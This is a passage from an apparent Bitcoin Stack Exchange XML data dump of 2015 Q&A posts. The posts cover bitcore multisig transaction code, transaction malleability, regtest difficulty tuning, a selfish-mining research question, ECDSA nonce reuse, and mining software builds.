2)&#xA;    .to(&quot;n1fqBkX6GtUsaV3EPqjpHcTuWhAQQgKXov&quot;, 10000)&#xA;    .fee(5430)&#xA;    .change(&quot;2MzuRYCXSHcBDEsSS4rziShvEzWSfoDe2zL&quot;)&#xA;    .sign([&quot;083b63f9dbaa100c1714e05a04c20ab32f83f7726ba54a682013a13df6a92949&quot; ,&quot;5bef634cdcc7f9c2fd2b429d1ddf6cae56923433b6e8b2c5515cf87d84751e0a&quot;]);&#xA;&#xA;var txSerialized = multiSigTx.serialize(true);&#xA;&#xA;// Broadcast&#xA;&#xA;insight.broadcast(txSerialized, function(err, returnedTxId) {&#xA;  if (err) {&#xA;    console.log(err);&#xA;  } else {&#xA;    console.log(&quot;Sent coins, tx id is: &quot;);&#xA;    console.log(returnedTxId);&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18969" LastEditorUserId="18969" LastEditDate="2015-05-27T13:24:51.747" LastActivityDate="2015-06-26T15:51:17.170" Title="Using bitcore to create a transaction with two addresses and change address" Tags="|api|transaction-fees|multi-signature|change|bitcore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37610" PostTypeId="2" ParentId="37603" CreationDate="2015-05-27T13:29:42.883" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So if I were to create the same transaction using bitcoinjs and bitcoinj, the end result of the signed transaction would be the same with both libraries, is that correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They certainly should. That's why they're called deterministic. Any particular library could have a bug in it, however. I would check against examples given in the spec to make sure a library is compliant with the spec, or run the unit tests if the library you're using has them.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-27T13:29:42.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37611" PostTypeId="1" CreationDate="2015-05-27T14:52:36.260" Score="7" ViewCount="1223" Body="&lt;p&gt;Transactions I broadcast can be malleated by anyone watching the mempool (more info &lt;a href=&quot;https://gist.github.com/sipa/8907691&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This rules out using &lt;code&gt;txid&lt;/code&gt; for transaction identification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify my transactions to make sure they are tracked by my application, even if the &lt;code&gt;txid&lt;/code&gt; changes by the time the transaction is mined in a block?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2016-03-15T09:31:23.027" LastActivityDate="2016-03-15T09:31:23.027" Title="How do I uniquely identify a transaction (to protect against malleability)?" Tags="|transactions|utxo|transaction-malleability|mempool|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37612" PostTypeId="2" ParentId="37609" CreationDate="2015-05-27T15:15:26.670" Score="3" Body="&lt;p&gt;I figured this out, the new transaction code should look like this with the address generated using &lt;code&gt;fromString()&lt;/code&gt; method using bitcore. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var address = bitcore.Address.fromString('2NEvGYDNxcVPZ2ThtmPKYoKBCEa3aJNjPL3');&#xA;var multiSigTx = new bitcore.Transaction()&#xA;    .from(utxo, pubs, 2)&#xA;    .to(&quot;mntnnj64W4po96m2ck4GXQJTAiKZQChpWB&quot;, 10000)&#xA;    .to(&quot;msR1bBwUWjTTNYFU5UTVNCXDUnEx1y2MMQ&quot;, 10000)&#xA;    .fee(5430)&#xA;    .change(address)&#xA;    .sign([&quot;7e925007e09447fa6160597391d7a24f8f47e40222d6c94b06bd9cecee5eddff&quot; ,&quot;6b8adfd22b8dd3186ea5333602b39a59fc1c40c543dc3848ea88c6cd6b738594&quot;]);&#xA;&#xA;var txSerialized = multiSigTx.serialize(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will then show the correct change output for the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;console.log(multiSigTx.getChangeOutput());&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18969" LastActivityDate="2015-05-27T15:15:26.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37613" PostTypeId="2" ParentId="37043" CreationDate="2015-05-27T15:20:28.593" Score="2" Body="&lt;p&gt;I figured this out, you need to set the default network after you instantiate bitcore.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bitcore = require('bitcore'); &#xA;&#xA;// Set the network to testnet&#xA;bitcore.Networks.defaultNetwork = bitcore.Networks.testnet;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18969" LastActivityDate="2015-05-27T15:20:28.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37614" PostTypeId="2" ParentId="37611" CreationDate="2015-05-27T15:26:57.857" Score="1" Body="&lt;p&gt;You can still use the &lt;code&gt;txid&lt;/code&gt; to identify it in your database. You just have to make sure you wait enough confirmations to trust the transaction, and that it can't be &quot;malleated&quot; by other parties. If you receive 2 transactions which have same inputs/outputs but different transaction ids, then you simply keep one (maybe the first one) and discard the other. In other words, identify transactions however you want, just remember not to trust unconfirmed ones.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-27T15:26:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37615" PostTypeId="2" ParentId="37611" CreationDate="2015-05-27T15:27:08.800" Score="5" Body="&lt;p&gt;This is an interesting problem, one that has been studied and discuss within the bitcoin community quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic way to do this is to keep track of a normalized TXID alongside of the actual TXID used in the protocol. Then to calculate the normalized ID of a transaction, you serialize it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With the inputs' txids replaced by their normalized transaction&lt;/li&gt;&#xA;&lt;li&gt;Removing the scriptSigs (as those are the most malleable parts of a transaction)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only caveat is that that this doesn't need to be done for coinbase transactions, as the scriptSig is not malleable (since it's already in a block) and there are no real txids in the inputs. You also don't want to remove the scriptSig from the coinbase transaction because it contains the height of the block (per BIP34), which guarantees the TXID (and normalized TXID) will be unique. Hence, for coinbase transactions, the normalized transaction id is the same as the transaction id (nTXID == TXID). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt; &#xA;&#xA;&lt;p&gt;Note: this is a lot of work to keep track of normalized IDs for every transaction. It has not been implemented in Bitcoin Core yet, and implementing your own version of this may be time consuming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can guarantee the set of outputs in all transactions within your system will be unique (i.e. you are using new receiving addresses and new change addresses for every transaction), then you might be able to use a hash of the set of outputs as a unique identifier. This would be more specific to your use case, as a temporary fix while Bitcoin Core doesn't yet have support for normalized transaction ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some further resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3656&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/pull/3656&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22168/what-is-the-normalized-transaction-hash-of-a-transaction&quot;&gt;What is the normalized transaction hash of a transaction?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23310/when-computing-a-normalized-transaction-id-when-do-i-finalize-the-sha256-hash&quot;&gt;When computing a normalized transaction id, when do I finalize the sha256 hash?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-05-27T15:32:33.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37616" PostTypeId="1" CreationDate="2015-05-27T15:39:00.363" Score="1" ViewCount="610" Body="&lt;p&gt;I'm playing around with the code and tried to adjust difficulty by changing code from &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bnProofOfWorkLimit = ~uint256(0) &gt;&gt; 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bnProofOfWorkLimit = ~uint256(0) &amp;gt;&amp;gt; 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside code block for Regression Test in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/src/chainparams.cpp#L262&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;chainparams.cpp&lt;/code&gt;&lt;/a&gt; (bitcoin-0.10.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I configured, did make, then make install with binaries in a custom directory (not default &lt;code&gt;/usr/local/bin/bitcoind&lt;/code&gt; !), started bitcoind in regtest mode and generated some blocks. &lt;br/&gt;&#xA;Somehow it feels like it takes same amount of time for generating blocks as before modifying the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed difficulty in chainparams.cpp from&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bnProofOfWorkLimit = ~uint256(0) &gt;&gt; 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bnProofOfWorkLimit = ~uint256(0) &amp;gt;&amp;gt; 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;still getting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.10.0.0-g047a898 (Fri, 13 Feb 2015 09:55:11 +0100)&#xA;Using OpenSSL version OpenSSL 1.0.1f 6 Jan 2014&#xA;Using BerkeleyDB version Berkeley DB 4.8.30: (April  9, 2010)&#xA;Default data directory /home/aliakbar/.bitcoin&#xA;Using data directory /home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/regtest&#xA;Using config file /home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/bitcoin.conf&#xA;Using at most 125 connections (1024 file descriptors available)&#xA;Using 4 threads for script verification&#xA;Binding RPC on address ::1 port 23333 (IPv4+IPv6 bind any: 0)&#xA;Binding RPC on address 127.0.0.1 port 23333 (IPv4+IPv6 bind any: 0)&#xA;Using wallet wallet.dat&#xA;init message: Verifying wallet...&#xA;CDBEnv::Open : LogDir=/home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/regtest/database ErrorFile=/home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/regtest/db.log&#xA;Bound to [::]:13333&#xA;Bound to 0.0.0.0:13333&#xA;init message: Loading block index...&#xA;Opening LevelDB in /home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/regtest/blocks/index&#xA;Opened LevelDB successfully&#xA;Opening LevelDB in /home/aliakbar/Downloads/bitcoin-0.10.0_test1/build/bin/test1/regtest/chainstate&#xA;Opened LevelDB successfully&#xA;LoadBlockIndexDB: last block file = 0&#xA;LoadBlockIndexDB: last block file info: CBlockFileInfo(blocks=0, size=0, heights=0...0, time=1970-01-01...1970-01-01)&#xA;Checking all blk files are present...&#xA;LoadBlockIndexDB(): transaction index disabled&#xA;Initializing databases...&#xA;Pre-allocating up to position 0x1000000 in blk00000.dat&#xA;ERROR: CheckProofOfWork() : nBits below minimum work&#xA;ERROR: CheckBlockHeader() : proof of work failed&#xA;InvalidChainFound: invalid block=0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206  height=0  log2_work=1  date=2011-02-02 23:16:42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Do I have to adjust difficulty somewhere else than in chainparams.cpp?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-03T12:09:54.357" LastActivityDate="2015-06-03T12:09:54.357" Title="Rise difficulty in code, still no changes after rebuild" Tags="|bitcoind|difficulty|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37617" PostTypeId="2" ParentId="37600" CreationDate="2015-05-27T15:42:08.153" Score="3" Body="&lt;p&gt;You're very close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bip32_ckd&lt;/code&gt; returns a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#extended-keys&quot; rel=&quot;nofollow&quot;&gt;BIP-32 &lt;em&gt;extended&lt;/em&gt; public key&lt;/a&gt;, however pubtoaddr expects as input a &quot;normal&quot; non-extended public key in either raw or hex-encoded form (and it doesn't check if the public key appears valid). Here's what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./pybtctools bip32_ckd $xpub 0&#xA;&amp;gt; $xpub0&#xA;&#xA;./pybtctools bip32_ckd $xpub0 0&#xA;&amp;gt; $xpub00&#xA;&#xA;./pybtctools bip32_extract_key $xpub00&#xA;&amp;gt; $pub00&#xA;&#xA;./pybtctools pubtoaddr $pub00&#xA;&amp;gt; $addr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-27T15:42:08.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37618" PostTypeId="2" ParentId="37616" CreationDate="2015-05-27T15:57:52.627" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not setting the difficulty high enough. A standard computer can do 1 MH/s SHA256d hashes, or about 2^20 hashes. That means in your scenario, solving a regtest block will take about 1 second. If you want it to take longer, increase the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that if you're using an 0.9.* version of bitcoin, then setting the regtest difficulty to below &lt;code&gt;~uint256(0) &amp;gt;&amp;gt; 16&lt;/code&gt; won't really do much, as the mining code won't even check a result that doesn't hash to below that difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the most recent code, though, then rather than adjusting the regtest parameters, you could also just add your own set of parameters.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-27T15:57:52.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37619" PostTypeId="2" ParentId="37602" CreationDate="2015-05-27T16:09:25.253" Score="2" Body="&lt;p&gt;Interesting find! &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when it happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;2012-03-09 19:20:14, according to blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why it happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems that someone was using a faulty signing process. The R value will only be the same if the same &lt;code&gt;k&lt;/code&gt; value is chosen during the &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;ECDSA&lt;/a&gt; signing process. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how it Happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hard to say, as the person who made that transaction is probably hard to find. It could have been done by faulty software, or it could have been done intentionally to see if anyone would recognize it and steal the coins (since &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35848/recovering-private-key-when-someone-uses-the-same-k-twice-in-ecdsa-signatures&quot;&gt;using the same k value twice on different signatures leaks the private key&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-05-27T16:09:25.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37620" PostTypeId="1" CreationDate="2015-05-27T17:11:41.930" Score="0" ViewCount="126" Body="&lt;p&gt;For a long time I've been trying to find out ways for running a &quot;&lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot; rel=&quot;nofollow&quot;&gt;selfish mine&lt;/a&gt;&quot; algorithm on bitcoind's regtest mode.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now I'm wondering if my plan is feasible, at all!?&lt;/strong&gt; &lt;br/&gt;&#xA;So I'll just outline my planned procedure with the hope that I will get useful hints and won't get discouraged since I believe I can achieve my goal with the help of developers and investment of some extra time:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm intending to change Bitcoin Core 0.10.0 source code - or a more &quot;suitable&quot; version - in a way that after building bitcoind, in regtest the bitcoind server that is started acts as a selfish miner.&lt;br/&gt;&#xA;This selfish miner shall connect to other bitcoind nodes that are instances of bitcoind, built out of non-modified code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to change a part of the code that communicates (e.g. inv message-part!?) with other nodes: as a selfish miner, newly found blocks should only be shared with other nodes dependent on the selfish mine algorithm so I thought of implementing control structures (if, while, etc.) that work with a comparison of inv message's amount of inventory entries or a similar comparison - e.g. selfish node has found a block and appends it to its inventory and doesn't publish this block if size(selfish.inventory) &gt; size(honest.inventory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a challenge for me is to find out &lt;strong&gt;which part of the source code to modify?&lt;/strong&gt; Since it consists of multiple modules that define resembling functions, parameters etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm ready to read up big amount of code, but the problem is I don't know what part is relevant for my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What do you think? Is my intention realistic? What are good approaches to a solution?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-03T13:17:15.523" LastActivityDate="2015-06-16T11:49:46.603" Title="Building bitcoind from modified &quot;selfish&quot; code - possible? how?" Tags="|bitcoind|regtest|selfish-mining|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37621" PostTypeId="1" CreationDate="2015-05-27T17:55:19.207" Score="0" ViewCount="58" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone maybe help me.&#xA;I just opened my wallet today after I exported it to a private key and incrypted it (Multibit wallet) and more than half of my coins has been send out to an address I dnt know. According to what I can see in the transaction History of this transfer it has been used as transaction fees for someone els`s transfer of coins.&#xA;Can this be a problem on the blockchain side or was my wallet hacked.&#xA;Any help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="26679" LastActivityDate="2015-05-27T18:01:36.000" Title="Bitcoins send out after syncing wallet" Tags="|transactions|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-27T18:03:47.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="37622" PostTypeId="2" ParentId="13537" CreationDate="2015-05-27T17:59:01.527" Score="1" Body="&lt;p&gt;There's now a good overview at &lt;a href=&quot;https://bitcoin.org/en/developer-reference#protocol-versions&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#protocol-versions&lt;/a&gt;. The latest as of March 2014 is 70002.&lt;/p&gt;&#xA;" OwnerUserId="18303" LastActivityDate="2015-05-27T17:59:01.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37623" PostTypeId="2" ParentId="23710" CreationDate="2015-05-27T18:00:10.680" Score="2" Body="&lt;p&gt;I recommend using &lt;a href=&quot;https://github.com/luke-jr/bfgminer&quot; rel=&quot;nofollow&quot;&gt;bfgminer&lt;/a&gt;, and &lt;a href=&quot;http://butterflylabs.com/drivers/&quot; rel=&quot;nofollow&quot;&gt;so does Butterfly Labs&lt;/a&gt;.  Well, I guess they say cgminer will work, too :P.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 4.10/4.3 branch, as well as the latest/master branch, work especially well with the Jalapeños and the Monarchs.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README&quot; rel=&quot;nofollow&quot;&gt;Build Instructions&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get install build-essential autoconf automake libtool pkg-config libcurl4-gnutls-dev   libjansson-dev uthash-dev libncursesw5-dev libudev-dev libusb-1.0-0-dev libevent-dev libmicrohttpd-dev hidapi&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;git clone https://github.com/luke-jr/bfgminer &amp;amp;&amp;amp; cd bfgminer&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./autogen.sh&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./configure&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;make&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;make install&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Notes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once you've gotten it to build and work successfully, take a look at the &lt;code&gt;./configure&lt;/code&gt; options and remove any unnecessary drivers/options for efficiency :D&lt;/p&gt;&#xA;" OwnerUserId="1396" LastEditorUserId="1396" LastEditDate="2015-05-30T18:23:37.227" LastActivityDate="2015-05-30T18:23:37.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37624" PostTypeId="2" ParentId="37621" CreationDate="2015-05-27T18:01:36.000" Score="0" Body="&lt;p&gt;Assuming you are checking the balance using MultiBit perhaps your missing coins are sitting in a change address - when you send bitcoin often some coins are moved to a newly generated change address, so you would need to export more than just the one address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fire up bitcoincore again and check the other receive addresses in a blockchain explorer for balances.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-05-27T18:01:36.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37625" PostTypeId="1" AcceptedAnswerId="37648" CreationDate="2015-05-27T18:08:48.053" Score="3" ViewCount="105" Body="&lt;p&gt;I see the different proposals for the block size and I keep wondering why bigger blocks means a bigger chain ? If the block limit size will rise to twenty-megabyte, it is just a limit, to fill it it requires twenty-megabyte of transactions. so if there are twenty-megabyte of free transactions a block will be twenty-megabyte size but it all still depends on the total size of valid free transactions and now it doesn't even get to 600k in average. yes in time the block will be filled I guess it will take years but it is the natural growth of the system. so my question is why bigger block size means immediately bigger memory for miners ?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2016-04-10T10:04:18.673" LastActivityDate="2016-04-10T10:04:18.673" Title="Why bigger blocks will bring bigger memory usage for miners?" Tags="|block-size-increase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37626" PostTypeId="1" AcceptedAnswerId="37627" CreationDate="2015-05-27T20:01:42.420" Score="6" ViewCount="1106" Body="&lt;p&gt;I am wondering if I can inject multiple OP_RETURN outputs in one transaction?&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-05-27T20:28:02.850" Title="Can I have multiple OP_RETURN outputs in one transaction?" Tags="|transactions|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37627" PostTypeId="2" ParentId="37626" CreationDate="2015-05-27T20:28:02.850" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can inject multiple OP_RETURN outputs in one transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the protocol level, absolutely nothing prevents you from doing this. However, such a transaction would not be considered a 'standard' transaction and would not be relayed (propagated) through the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, though, you were a miner yourself. Then you could mine a transaction with 100 OP_RETURN outputs in it, and no one would reject your block because of it.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-27T20:28:02.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37628" PostTypeId="2" ParentId="37520" CreationDate="2015-05-27T22:41:20.510" Score="3" Body="&lt;p&gt;BreadWallet for iOS is open source, has a permissive license, and uses SPV &lt;a href=&quot;https://github.com/voisine/breadwallet/blob/78d67870cdb887bab69ffeab8d808a3cb24d3759/BreadWallet/BRPeer.m&quot; rel=&quot;nofollow&quot;&gt;https://github.com/voisine/breadwallet/blob/78d67870cdb887bab69ffeab8d808a3cb24d3759/BreadWallet/BRPeer.m&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26682" LastActivityDate="2015-05-27T22:41:20.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37629" PostTypeId="2" ParentId="37520" CreationDate="2015-05-27T22:52:13.660" Score="2" Body="&lt;p&gt;I have found this iOS SPV client library: &lt;a href=&quot;https://github.com/keeshux/BitcoinSPV&quot; rel=&quot;nofollow&quot;&gt;https://github.com/keeshux/BitcoinSPV&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26591" LastActivityDate="2015-05-27T22:52:13.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37630" PostTypeId="2" ParentId="37569" CreationDate="2015-05-27T23:26:26.727" Score="1" Body="&lt;p&gt;There is now :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://welshcomputing.com/bitcoin/wiki/en/Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://welshcomputing.com/bitcoin/wiki/en/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About/limitations: &lt;a href=&quot;http://welshcomputing.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://welshcomputing.com/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18303" LastEditorUserId="18303" LastEditDate="2016-10-14T18:39:28.800" LastActivityDate="2016-10-14T18:39:28.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37631" PostTypeId="1" CreationDate="2015-05-28T01:13:46.527" Score="9" ViewCount="537" Body="&lt;p&gt;I'm looking for a numerical privacy scoring system that estimate the degree of linkage between the members of a key pool (or even just individual key pairs). Ideally, the method should be easy to understand and apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of &quot;taint analysis&quot; as offered by blockchain.info. There's also discussion in these papers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.wi.uni-muenster.de/sites/default/files/public/department/itsecurity/mbc13/mbc13-moeser-paper.pdf&quot; rel=&quot;noreferrer&quot;&gt;Anonymity of Bitcoin Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://eprint.iacr.org/2012/596.pdf&quot; rel=&quot;noreferrer&quot;&gt;Evaluating User Privacy in Bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fc15.ifca.ai/preproceedings/bitcoin/paper_5.pdf&quot; rel=&quot;noreferrer&quot;&gt;Privacy-Enhancing Overlays in Bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eprint.iacr.org/2012/584.pdf&quot; rel=&quot;noreferrer&quot;&gt;Quantitative Analysis of the Full Bitcoin&#xA;Transaction Graph&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What else has been done to quantitate Bitcoin user privacy? I'm most interested in ways to compute a benchmark score that tells a user how closely linked the the members of a key pool are, or how closely linked two individual key pairs are.&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-05-28T16:09:58.893" LastActivityDate="2020-11-17T22:58:40.007" Title="Bitcoin privacy metrics?" Tags="|privacy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
